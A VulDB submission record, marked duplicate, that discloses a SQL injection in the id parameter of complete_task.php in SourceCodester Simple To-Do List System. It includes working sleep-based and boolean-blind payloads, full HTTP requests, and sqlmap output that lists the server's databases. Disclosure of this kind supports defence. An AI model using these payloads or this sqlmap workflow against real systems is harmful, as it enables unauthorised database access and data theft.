| Título | SourceCodester Simple To-Do List System 0 SQL Injection |
|---|
| Descripción | It has been observed that once the user is logged in, the respective tasks have an integer value and are retrieved based on the same. the ?id= parameter is vulnerable to SQL injection.
GET /complete_task.php?id=11 HTTP/1.1
Host: dr-batata.local
Cookie: PHPSESSID=par857rlj9b75j5a8lf7rgupoe
Sec-Ch-Ua-Platform: "macOS"
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dr-batata.local/index.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
Same has been tested using the below payload.
PAYLOAD: (select*from(select(sleep(20)))a)
GET /complete_task.php?id=(select*from(select(sleep(20)))a) HTTP/1.1
Host: dr-batata.local
Cookie: PHPSESSID=par857rlj9b75j5a8lf7rgupoe
Sec-Ch-Ua-Platform: "macOS"
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dr-batata.local/index.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
SQLMAP was executed against the same post request that yielded in a success attack.
➜ Downloads cat post.txt
GET /complete_task.php?id=11 HTTP/1.1
Host: dr-batata.local
Cookie: PHPSESSID=par857rlj9b75j5a8lf7rgupoe
Sec-Ch-Ua-Platform: "macOS"
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dr-batata.local/index.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
➜ Downloads sqlmap -r post.txt --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.9.9#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:04:20 /2025-09-21/
[22:04:20] [INFO] parsing HTTP request from 'post.txt'
[22:04:20] [INFO] resuming back-end DBMS 'mysql'
[22:04:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (2852=2852) THEN 11 ELSE (SELECT 6180 UNION SELECT 3124) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=11 AND (SELECT 8110 FROM (SELECT(SLEEP(5)))VeIW)
---
[22:04:21] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.4, Apache 2.4.56
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:04:21] [INFO] fetching database names
[22:04:21] [INFO] fetching number of databases
[22:04:21] [INFO] resumed: 7
[22:04:21] [INFO] resumed: information_schema
[22:04:21] [INFO] resumed: pet_grooming
[22:04:21] [INFO] resumed: test
[22:04:21] [INFO] resumed: phpmyadmin
[22:04:21] [INFO] resumed: todo_list
[22:04:21] [INFO] resumed: mysql
[22:04:21] [INFO] resumed: performance_schema
available databases [7]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] pet_grooming
[*] phpmyadmin
[*] test
[*] todo_list
[22:04:21] [INFO] fetched data logged to text files under '/Users/frogman/.local/share/sqlmap/output/dr-batata.local'
[*] ending @ 22:04:21 /2025-09-21/
|
|---|
| Usuario | Kamran Saifullah (UID 4218) |
|---|
| Sumisión | 2025-09-21 21:05 (hace 1 Año) |
|---|
| Moderación | 2025-09-26 14:19 (5 days later) |
|---|
| Estado | Duplicado |
|---|
| Entrada de VulDB | 307345 [SourceCodester Simple To-Do List System 1.0 /complete_task.php id inyección SQL] |
|---|
| Puntos | 0 |
|---|